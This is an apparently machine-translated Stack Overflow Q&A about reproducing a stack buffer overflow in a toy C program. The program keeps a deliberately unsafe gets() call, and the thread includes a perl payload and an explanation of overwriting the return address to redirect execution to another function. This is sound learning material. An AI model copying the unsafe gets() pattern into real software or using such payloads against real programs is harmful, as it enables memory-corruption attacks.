c - 无法复制堆栈缓冲区溢出漏洞利用

标签 c stack overflow

我无法复制 OWASP 给出的堆栈缓冲区溢出示例 here .

这是我的尝试:

$ cat test.c
  #include <stdio.h>
  #include <string.h>

  void doit(void)
  {
          char buf[8];

          gets(buf);
          printf("%s\n", buf);
  }

  int main(void)
  {
          printf("So... The End...\n");
          doit();
          printf("or... maybe not?\n");

          return 0;
  }



$ gcc test.c -o test -fno-stack-protection -ggdb

$ objdump -d test # omitted irrelevant parts i think
000000000040054c <doit>:
  40054c:       55                      push   %rbp
  40054d:       48 89 e5                mov    %rsp,%rbp
  400550:       48 83 ec 10             sub    $0x10,%rsp
  400554:       48 8d 45 f0             lea    -0x10(%rbp),%rax
  400558:       48 89 c7                mov    %rax,%rdi
  40055b:       e8 d0 fe ff ff          callq  400430 <gets@plt>
  400560:       48 8d 45 f0             lea    -0x10(%rbp),%rax
  400564:       48 89 c7                mov    %rax,%rdi
  400567:       e8 a4 fe ff ff          callq  400410 <puts@plt>
  40056c:       c9                      leaveq
  40056d:       c3                      retq

000000000040056e <main>:
  40056e:       55                      push   %rbp
  40056f:       48 89 e5                mov    %rsp,%rbp
  400572:       bf 4c 06 40 00          mov    $0x40064c,%edi
  400577:       e8 94 fe ff ff          callq  400410 <puts@plt>
  40057c:       e8 cb ff ff ff          callq  40054c <doit>
  400581:       bf 5d 06 40 00          mov    $0x40065d,%edi
  400586:       e8 85 fe ff ff          callq  400410 <puts@plt>
  40058b:       b8 00 00 00 00          mov    $0x0,%eax
  400590:       5d                      pop    %rbp
  400591:       c3                      retq # this is where i took my overflow value from
  400592:       90                      nop
  400593:       90                      nop
  400594:       90                      nop
  400595:       90                      nop
  400596:       90                      nop
  400597:       90                      nop
  400598:       90                      nop
  400599:       90                      nop
  40059a:       90                      nop
  40059b:       90                      nop
  40059c:       90                      nop
  40059d:       90                      nop
  40059e:       90                      nop
  40059f:       90                      nop

$ perl -e 'print "A"x12 ."\x91\x05\x40"' | ./test
So... The End...
AAAAAAAAAAAA▒@
or... maybe not? # this shouldn't be outputted

为什么这不起作用?我假设我应该插入的内存地址是 retq来自 <main> .

我的目标是弄清楚如何执行调用程序其他地方的函数的堆栈缓冲区溢出。任何帮助深表感谢。 :)

最佳答案

我使用的是 Windows 和 MSVC,但你应该明白了。

考虑以下代码:

#include <stdio.h>

void someFunc()
{
    puts("wow, we should never get here :|");
}

// MSVC inlines this otherwise
void __declspec(noinline) doit(void)
{
    char buf[8];

    gets(buf);
    printf("%s\n", buf);
}

int main(void)
{
    printf("So... The End...\n");
    doit();
    printf("or... maybe not?\n");

    return 0;
}

(注意:我必须使用 /OPT:NOREF 编译它以强制 MSVC 不删除“未使用的”代码和 /GS- 以关闭堆栈检查)

现在,让我们在我最喜欢的反汇编程序中打开它: enter image description here

我们想利用 gets 漏洞,以便执行跳转到 someFunc。我们可以看到它的地址是 001D1000,所以如果我们可以通过缓冲区写入足够的字节来覆盖返回地址,我们就可以了。让我们看一下 gets 被调用时的堆栈:

enter image description here

正如我们所见,有 8 个字节的堆栈分配缓冲区 (buf),4 个字节的一些东西(实际上是 PUSHed EBP),以及返回地址。因此,我们需要先写入 12 字节的内容,然后再写入 4 字节的返回地址 (001D1000) 来“劫持”执行流程。让我们这样做 - 我们将使用十六进制编辑器准备一个包含我们需要的字节的输入文件:

enter image description here

确实,当我们使用该输入运行程序时,我们会得到:

enter image description here

打印该行后,由于堆栈中有一些垃圾,它将因访问冲突而崩溃。然而,没有什么可以阻止您仔 segmentation 析代码并在输入中准备这样的字节,以使程序看起来正常运行(我们可以用 ExitProcess 的地址覆盖下一个字节,这样 someFunc 会跳转到那里)。

关于c - 无法复制堆栈缓冲区溢出漏洞利用,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/30366966/

相关文章:

java - 添加范围 {} 括号让变量超出范围是否与调用和结束函数或某种空循环具有相同的效果?

html - 将垂直滚动条应用于内容框,而不是正文/视口(viewport)

internet-explorer-6 - "overflow: hidden"、 "inline-block"和 "vertical-align"的垂直对齐问题

c++ - libcurl 是否能够通过 UDP 发送 http 消息?

从 C 中的 AS3 ByteArray 将 big endian 转换为 little endian

c - C语言冒泡排序中额外零的问题

CSS 下溢修复

c - 动态分配二维数组

assembly - 进入新功能时rsp不移动

c++ - 如何在 C++ 中打印堆栈